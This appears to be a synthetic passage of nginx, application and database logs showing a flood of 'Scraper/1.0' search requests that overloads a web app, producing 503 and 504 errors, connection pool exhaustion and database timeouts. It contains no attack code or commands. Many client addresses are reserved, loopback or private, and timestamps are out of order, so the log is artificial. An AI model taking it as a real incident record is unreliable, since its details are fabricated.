web-app-nginx 155.213.17.26 - - [15/Aug/2025:14:34:33 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 290 "-" "Scraper/1.0" +Aug 15 14:34:31 web-app-nginx 37.165.97.15 - - [15/Aug/2025:14:34:31 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 337 "-" "Scraper/1.0" +Aug 15 14:34:31 web-app-nginx 97.173.170.215 - - [15/Aug/2025:14:34:31 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 142 "-" "Scraper/1.0" +2025-08-15T14:34:34.939Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:34:35 web-app-nginx 8.59.163.146 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 160 "-" "Scraper/1.0" +Aug 15 14:34:35 web-app-nginx 13.124.4.223 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 292 "-" "Scraper/1.0" +Aug 15 14:34:38 web-app-nginx 240.209.114.222 - - [15/Aug/2025:14:34:38 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 426 "-" "Scraper/1.0" +Aug 15 14:34:36 web-app-nginx 137.16.136.39 - - [15/Aug/2025:14:34:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 350 "-" "Scraper/1.0" +Aug 15 14:34:38 web-app-nginx 214.23.104.24 - - [15/Aug/2025:14:34:38 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 108 "-" "Scraper/1.0" +Aug 15 14:34:39 web-app-nginx 30.111.111.32 - - [15/Aug/2025:14:34:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 172 "-" "Scraper/1.0" +Aug 15 14:34:37 web-app-nginx 1.68.136.96 - - [15/Aug/2025:14:34:37 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 291 "-" "Scraper/1.0" +Aug 15 14:34:35 web-app-nginx 66.130.227.28 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 186 "-" "Scraper/1.0" +Aug 15 14:34:36 web-app-nginx 15.91.81.107 - - [15/Aug/2025:14:34:36 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 358 "-" "Scraper/1.0" +Aug 15 14:34:35 web-app-nginx 79.138.42.147 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 137 "-" "Scraper/1.0" +Aug 15 14:34:36 web-app-nginx 47.241.18.188 - - [15/Aug/2025:14:34:36 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 173 "-" "Scraper/1.0" +Aug 15 14:34:39 web-app-nginx 173.218.208.210 - - [15/Aug/2025:14:34:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 145 "-" "Scraper/1.0" +Aug 15 14:34:35 web-app-nginx 118.3.173.28 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 484 "-" "Scraper/1.0" +Aug 15 14:34:38 web-app-nginx 165.155.70.238 - - [15/Aug/2025:14:34:38 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 198 "-" "Scraper/1.0" +Aug 15 14:34:38 web-app-nginx 116.102.70.39 - - [15/Aug/2025:14:34:38 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 435 "-" "Scraper/1.0" +Aug 15 14:34:44 web-app-nginx 51.220.227.209 - - [15/Aug/2025:14:34:44 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 244 "-" "Scraper/1.0" +Aug 15 14:34:42 web-app-nginx 183.111.231.211 - - [15/Aug/2025:14:34:42 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 385 "-" "Scraper/1.0" +Aug 15 14:34:43 web-app-nginx 14.195.11.85 - - [15/Aug/2025:14:34:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 319 "-" "Scraper/1.0" +Aug 15 14:34:41 web-app-nginx 176.159.68.80 - - [15/Aug/2025:14:34:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 107 "-" "Scraper/1.0" +Aug 15 14:34:41 web-app-nginx 7.123.176.141 - - [15/Aug/2025:14:34:41 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 483 "-" "Scraper/1.0" +Aug 15 14:34:43 web-app-nginx 26.76.26.201 - - [15/Aug/2025:14:34:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 213 "-" "Scraper/1.0" +Aug 15 14:34:40 web-app-nginx 36.241.56.224 - - [15/Aug/2025:14:34:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 155 "-" "Scraper/1.0" +Aug 15 14:34:42 web-app-nginx 241.129.62.37 - - [15/Aug/2025:14:34:42 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 191 "-" "Scraper/1.0" +Aug 15 14:34:44 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:34:45 web-app-nginx 98.155.132.66 - - [15/Aug/2025:14:34:45 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 233 "-" "Scraper/1.0" +Aug 15 14:34:49 web-app-nginx 12.143.161.225 - - [15/Aug/2025:14:34:49 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 378 "-" "Scraper/1.0" +Aug 15 14:34:49 web-app-nginx 34.33.174.221 - - [15/Aug/2025:14:34:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 143 "-" "Scraper/1.0" +Aug 15 14:34:48 web-app-nginx 171.172.131.166 - - [15/Aug/2025:14:34:48 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 356 "-" "Scraper/1.0" +Aug 15 14:34:49 web-app-nginx 201.76.206.44 - - [15/Aug/2025:14:34:49 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 473 "-" "Scraper/1.0" +Aug 15 14:34:48 web-app-nginx 138.98.17.33 - - [15/Aug/2025:14:34:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 437 "-" "Scraper/1.0" +Aug 15 14:34:47 web-app-nginx 20.241.18.48 - - [15/Aug/2025:14:34:47 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 384 "-" "Scraper/1.0" +Aug 15 14:34:48 web-app-nginx 183.52.151.117 - - [15/Aug/2025:14:34:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 367 "-" "Scraper/1.0" +Aug 15 14:34:54 web-app-nginx 163.78.44.25 - - [15/Aug/2025:14:34:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 349 "-" "Scraper/1.0" +Aug 15 14:34:54 web-app-nginx 250.49.118.48 - - [15/Aug/2025:14:34:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 286 "-" "Scraper/1.0" +Aug 15 14:34:53 web-app-nginx 3.147.106.194 - - [15/Aug/2025:14:34:53 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 121 "-" "Scraper/1.0" +Aug 15 14:34:53 web-app-nginx 51.59.202.32 - - [15/Aug/2025:14:34:53 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 380 "-" "Scraper/1.0" +Aug 15 14:34:50 web-app-nginx 197.48.241.170 - - [15/Aug/2025:14:34:50 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 412 "-" "Scraper/1.0" +Aug 15 14:34:54 web-app-nginx 127.60.180.42 - - [15/Aug/2025:14:34:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 428 "-" "Scraper/1.0" +Aug 15 14:34:51 web-app-nginx 70.182.231.184 - - [15/Aug/2025:14:34:51 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 387 "-" "Scraper/1.0" +Aug 15 14:34:53 web-app-nginx 151.127.213.194 - - [15/Aug/2025:14:34:53 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 269 "-" "Scraper/1.0" +Aug 15 14:34:52 web-app-nginx 81.123.66.161 - - [15/Aug/2025:14:34:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 183 "-" "Scraper/1.0" +Aug 15 14:34:52 web-app-nginx 153.13.165.248 - - [15/Aug/2025:14:34:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 461 "-" "Scraper/1.0" +Aug 15 14:34:50 web-app-nginx 1.105.78.115 - - [15/Aug/2025:14:34:50 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 346 "-" "Scraper/1.0" +Aug 15 14:34:52 web-app-nginx 70.120.234.57 - - [15/Aug/2025:14:34:52 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 487 "-" "Scraper/1.0" +Aug 15 14:34:54 web-app-nginx 45.22.244.172 - - [15/Aug/2025:14:34:54 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 376 "-" "Scraper/1.0" +Aug 15 14:34:52 web-app-nginx 179.165.83.170 - - [15/Aug/2025:14:34:52 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 315 "-" "Scraper/1.0" +Aug 15 14:34:57 web-app-nginx 231.33.70.105 - - [15/Aug/2025:14:34:57 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 452 "-" "Scraper/1.0" +Aug 15 14:34:58 web-app-nginx 240.131.25.145 - - [15/Aug/2025:14:34:58 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 267 "-" "Scraper/1.0" +Aug 15 14:34:55 web-app-nginx 25.212.169.123 - - [15/Aug/2025:14:34:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 183 "-" "Scraper/1.0" +Aug 15 14:34:59 web-app-nginx 120.216.171.174 - - [15/Aug/2025:14:34:59 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 184 "-" "Scraper/1.0" +Aug 15 14:34:55 web-app-nginx 152.146.149.230 - - [15/Aug/2025:14:34:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 397 "-" "Scraper/1.0" +Aug 15 14:34:55 web-app-nginx 94.97.123.61 - - [15/Aug/2025:14:34:55 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 301 "-" "Scraper/1.0" +Aug 15 14:34:57 web-app-nginx 68.65.159.194 - - [15/Aug/2025:14:34:57 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 315 "-" "Scraper/1.0" +Aug 15 14:34:59 web-app-nginx 59.106.249.137 - - [15/Aug/2025:14:34:59 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 416 "-" "Scraper/1.0" +Aug 15 14:34:56 web-app-nginx 1.167.167.141 - - [15/Aug/2025:14:34:56 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 495 "-" "Scraper/1.0" +Aug 15 14:34:58 web-app[3456]: CRITICAL: Connection pool exhausted +2025-08-15T14:34:59.572Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:35:04 web-app-nginx 70.40.169.71 - - [15/Aug/2025:14:35:04 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 334 "-" "Scraper/1.0" +Aug 15 14:35:02 web-app-nginx 234.96.162.139 - - [15/Aug/2025:14:35:02 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 121 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 198.106.225.104 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 439 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 119.96.82.15 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 196 "-" "Scraper/1.0" +Aug 15 14:35:01 web-app-nginx 231.37.234.97 - - [15/Aug/2025:14:35:01 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 497 "-" "Scraper/1.0" +Aug 15 14:35:04 web-app-nginx 58.85.92.70 - - [15/Aug/2025:14:35:04 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 108 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 110.118.141.5 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 153 "-" "Scraper/1.0" +Aug 15 14:35:04 web-app-nginx 243.30.230.160 - - [15/Aug/2025:14:35:04 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 245 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 247.230.144.194 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 123 "-" "Scraper/1.0" +Aug 15 14:35:04 web-app-nginx 34.133.166.73 - - [15/Aug/2025:14:35:04 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 253 "-" "Scraper/1.0" +Aug 15 14:35:03 web-app-nginx 25.143.140.30 - - [15/Aug/2025:14:35:03 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 269 "-" "Scraper/1.0" +Aug 15 14:35:01 web-app-nginx 253.174.109.192 - - [15/Aug/2025:14:35:01 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 400 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 245.13.25.18 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 111 "-" "Scraper/1.0" +Aug 15 14:35:01 web-app-nginx 159.228.206.232 - - [15/Aug/2025:14:35:01 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 207 "-" "Scraper/1.0" +Aug 15 14:35:08 web-app-nginx 236.154.165.26 - - [15/Aug/2025:14:35:08 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 264 "-" "Scraper/1.0" +Aug 15 14:35:05 web-app-nginx 74.71.167.208 - - [15/Aug/2025:14:35:05 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 473 "-" "Scraper/1.0" +Aug 15 14:35:09 web-app-nginx 22.8.97.42 - - [15/Aug/2025:14:35:09 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 288 "-" "Scraper/1.0" +Aug 15 14:35:06 web-app-nginx 186.67.50.20 - - [15/Aug/2025:14:35:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 224 "-" "Scraper/1.0" +Aug 15 14:35:07 web-app-nginx 35.119.148.99 - - [15/Aug/2025:14:35:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 204 "-" "Scraper/1.0" +Aug 15 14:35:06 web-app-nginx 187.153.191.249 - - [15/Aug/2025:14:35:06 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 481 "-" "Scraper/1.0" +Aug 15 14:35:05 web-app-nginx 52.234.168.100 - - [15/Aug/2025:14:35:05 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 268 "-" "Scraper/1.0" +Aug 15 14:35:09 web-app-nginx 86.160.186.110 - - [15/Aug/2025:14:35:09 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 454 "-" "Scraper/1.0" +Aug 15 14:35:05 web-app-nginx 241.72.136.55 - - [15/Aug/2025:14:35:05 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 445 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 37.79.105.45 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 196 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 210.206.159.137 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 162 "-" "Scraper/1.0" +Aug 15 14:35:10 web-app-nginx 38.188.135.183 - - [15/Aug/2025:14:35:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 421 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 73.202.149.191 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 365 "-" "Scraper/1.0" +Aug 15 14:35:12 web-app-nginx 89.10.228.151 - - [15/Aug/2025:14:35:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 343 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 219.153.151.160 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 190 "-" "Scraper/1.0" +Aug 15 14:35:12 web-app-nginx 47.188.236.243 - - [15/Aug/2025:14:35:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 208 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 128.41.221.119 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 499 "-" "Scraper/1.0" +Aug 15 14:35:13 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:35:18 web-app-nginx 244.117.190.105 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 289 "-" "Scraper/1.0" +Aug 15 14:35:17 web-app-nginx 242.120.98.182 - - [15/Aug/2025:14:35:17 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 337 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 72.46.45.236 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 186 "-" "Scraper/1.0" +Aug 15 14:35:17 web-app-nginx 206.203.73.64 - - [15/Aug/2025:14:35:17 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 339 "-" "Scraper/1.0" +Aug 15 14:35:19 web-app-nginx 21.33.24.148 - - [15/Aug/2025:14:35:19 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 239 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 24.139.112.183 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 302 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 85.188.226.171 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 497 "-" "Scraper/1.0" +Aug 15 14:35:16 web-app-nginx 28.76.192.12 - - [15/Aug/2025:14:35:16 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 147 "-" "Scraper/1.0" +Aug 15 14:35:15 web-app-nginx 116.27.222.164 - - [15/Aug/2025:14:35:15 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 491 "-" "Scraper/1.0" +Aug 15 14:35:19 web-app-nginx 17.172.235.23 - - [15/Aug/2025:14:35:19 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 236 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 127.40.167.41 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 231 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 50.41.249.29 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 396 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 111.216.20.115 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 159 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 72.11.77.170 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 472 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 171.130.2.82 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 497 "-" "Scraper/1.0" +Aug 15 14:35:21 web-app-nginx 254.156.23.199 - - [15/Aug/2025:14:35:21 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 178 "-" "Scraper/1.0" +Aug 15 14:35:20 web-app-nginx 69.213.98.121 - - [15/Aug/2025:14:35:20 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 296 "-" "Scraper/1.0" +Aug 15 14:35:23 web-app-nginx 238.5.135.165 - - [15/Aug/2025:14:35:23 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 244 "-" "Scraper/1.0" +Aug 15 14:35:20 web-app-nginx 193.69.145.202 - - [15/Aug/2025:14:35:20 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 405 "-" "Scraper/1.0" +Aug 15 14:35:21 web-app-nginx 190.254.115.163 - - [15/Aug/2025:14:35:21 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 410 "-" "Scraper/1.0" +Aug 15 14:35:23 web-app-nginx 228.34.70.208 - - [15/Aug/2025:14:35:23 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 217 "-" "Scraper/1.0" +Aug 15 14:35:24 web-app-nginx 80.128.145.96 - - [15/Aug/2025:14:35:24 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 246 "-" "Scraper/1.0" +Aug 15 14:35:23 web-app-nginx 250.185.254.81 - - [15/Aug/2025:14:35:23 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 462 "-" "Scraper/1.0" +Aug 15 14:35:22 web-app-nginx 221.234.253.77 - - [15/Aug/2025:14:35:22 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 300 "-" "Scraper/1.0" +Aug 15 14:35:23 web-app-nginx 5.206.180.206 - - [15/Aug/2025:14:35:23 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 146 "-" "Scraper/1.0" +Aug 15 14:35:21 web-app-nginx 196.200.53.62 - - [15/Aug/2025:14:35:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 107 "-" "Scraper/1.0" +Aug 15 14:35:21 web-app-nginx 33.193.133.234 - - [15/Aug/2025:14:35:21 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 189 "-" "Scraper/1.0" +Aug 15 14:35:24 web-app-nginx 115.16.125.76 - - [15/Aug/2025:14:35:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 143 "-" "Scraper/1.0" +2025-08-15T14:35:24.988Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:35:26 web-app-nginx 192.168.179.26 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 434 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 50.80.101.84 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 339 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 215.215.48.91 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 184 "-" "Scraper/1.0" +Aug 15 14:35:29 web-app-nginx 57.148.128.125 - - [15/Aug/2025:14:35:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 353 "-" "Scraper/1.0" +Aug 15 14:35:29 web-app-nginx 12.131.27.113 - - [15/Aug/2025:14:35:29 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 275 "-" "Scraper/1.0" +Aug 15 14:35:28 web-app-nginx 112.197.141.131 - - [15/Aug/2025:14:35:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 325 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 27.6.194.213 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 290 "-" "Scraper/1.0" +Aug 15 14:35:27 web-app-nginx 76.129.238.145 - - [15/Aug/2025:14:35:27 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 362 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 113.240.32.76 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 104 "-" "Scraper/1.0" +Aug 15 14:35:28 web-app-nginx 43.138.139.207 - - [15/Aug/2025:14:35:28 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 100 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 65.16.20.48 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 218 "-" "Scraper/1.0" +Aug 15 14:35:27 web-app-nginx 21.81.134.225 - - [15/Aug/2025:14:35:27 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 261 "-" "Scraper/1.0" +Aug 15 14:35:29 web-app-nginx 121.62.150.80 - - [15/Aug/2025:14:35:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 374 "-" "Scraper/1.0" +Aug 15 14:35:28 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:35:31 web-app-nginx 121.215.5.203 - - [15/Aug/2025:14:35:31 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 252 "-" "Scraper/1.0" +Aug 15 14:35:32 web-app-nginx 200.144.138.38 - - [15/Aug/2025:14:35:32 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 205 "-" "Scraper/1.0" +Aug 15 14:35:33 web-app-nginx 223.118.7.205 - - [15/Aug/2025:14:35:33 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 387 "-" "Scraper/1.0" +Aug 15 14:35:32 web-app-nginx 76.42.10.175 - - [15/Aug/2025:14:35:32 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 192 "-" "Scraper/1.0" +Aug 15 14:35:32 web-app-nginx 146.213.154.77 - - [15/Aug/2025:14:35:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 401 "-" "Scraper/1.0" +Aug 15 14:35:34 web-app-nginx 107.56.39.167 - - [15/Aug/2025:14:35:34 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 309 "-" "Scraper/1.0" +Aug 15 14:35:30 web-app-nginx 14.26.102.96 - - [15/Aug/2025:14:35:30 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 222 "-" "Scraper/1.0" +Aug 15 14:35:34 web-app-nginx 9.199.55.107 - - [15/Aug/2025:14:35:34 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 367 "-" "Scraper/1.0" +Aug 15 14:35:33 web-app-nginx 32.250.247.140 - - [15/Aug/2025:14:35:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 312 "-" "Scraper/1.0" +Aug 15 14:35:33 web-app-nginx 168.86.64.249 - - [15/Aug/2025:14:35:33 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 298 "-" "Scraper/1.0" +Aug 15 14:35:30 web-app-nginx 92.253.23.60 - - [15/Aug/2025:14:35:30 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 342 "-" "Scraper/1.0" +Aug 15 14:35:31 web-app-nginx 93.25.175.70 - - [15/Aug/2025:14:35:31 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 488 "-" "Scraper/1.0" +Aug 15 14:35:30 web-app-nginx 184.160.224.60 - - [15/Aug/2025:14:35:30 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 352 "-" "Scraper/1.0" +Aug 15 14:35:32 web-app-nginx 251.163.189.120 - - [15/Aug/2025:14:35:32 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 318 "-" "Scraper/1.0" +Aug 15 14:35:35 web-app-nginx 94.169.142.92 - - [15/Aug/2025:14:35:35 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 118 "-" "Scraper/1.0" +Aug 15 